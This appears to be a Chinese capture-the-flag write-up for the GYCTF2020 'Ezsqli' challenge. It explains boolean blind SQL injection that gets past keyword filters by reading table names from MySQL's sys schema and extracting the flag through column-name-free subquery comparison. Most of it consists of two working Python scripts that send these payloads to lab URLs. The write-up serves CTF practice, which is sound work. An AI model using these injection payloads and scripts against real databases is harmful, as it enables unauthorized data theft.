GYCTF2020Ezsqli

是个盲注题
但是过滤了好多好多好多东西

1
or union select(合在一起不行) information (这个被禁了基本只能盲注和无列名注入)

无列名注入

1
2
3
4
测试:
id=2||1=1 返回nu1l
id=2||1=2 返回v&n
真返nu1l 假返回v&n

183.PNG

184.PNG

走脚本爆表名字
通过无列名注入 innodb引擎或者sys数据库可以使用但是只能拿到表名

1
2
3
4
5
6
7
8
9
10
11
12
13
import requests
url = 'http://a03e17c8-164f-47d2-8874-ccb3a48278d2.node4.buuoj.cn:81/'
payload = '2||ascii(substr((select group_concat(table_name) from sys.schema_table_statistics_with_buffer where table_schema=database()),{},1))={}'
result = ''
for j in range(1,500):
for i in range(32, 127):
py = payload.format(j,i)
post_data = {'id': py}
re = requests.post(url, data=post_data)
if 'Nu1L' in re.text:
result += chr(i)
print(result)
break

拿到表名

无列名注入:

类似于给列名取别的名字 取名字的同时进行查询数据
我的user表有三列 试一下无列名查找

发现得到了一个虚拟表 列名分别为1,2,3 储存了user表的数据

186.PNG

注意:查询时语句的字段数必须和指定表中一样不能多不能少不然就等着报错吧

187.PNG

可以查询第二列的数据 虚拟表中列名都是1,2,3 所有查询语句得用

1
`2`

不能直接用2 末尾的n用来命名的可以随便字符

188.PNG

但是有时候`也会被过滤就得用到另取别名法

此时构造的虚拟表列名就变成a,b,c 查询就可以直接通过abc来

189.PNG

190.PNG

这边用ascii偏移比较两个字符串的大小
两个字符串的大小比较与长度没有关系都只会比较字符串首字符的ascii码来比较 不等式成立返回1 不成立返回0
也就是说只会比较以此 也就是首字符 写一个循环 ascii从32 到128 与flag的字符一一对比 满足返回nu1l 输出符合条件的ascii码对应的字符
以此类推输出flag所有的字符
老样子 脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import requests
url = 'http://e47846ae-bc04-445f-aab3-e51cec5018a0.node4.buuoj.cn/'
def add(flag):
res = ''
res += flag
return res
flag = ''
for i in range(1,200):
for char in range(32, 127):
hexchar = add(flag + chr(char))
payload = '2||((select 1,"{}")>(select * from f1ag_1s_h3r3_hhhhh))'.format(hexchar)
#print(payload)
data = {'id':payload}
r = requests.post(url=url, data=data)
text = r.text
if 'Nu1L' in r.text:
flag += chr(char-1)
print(flag)
break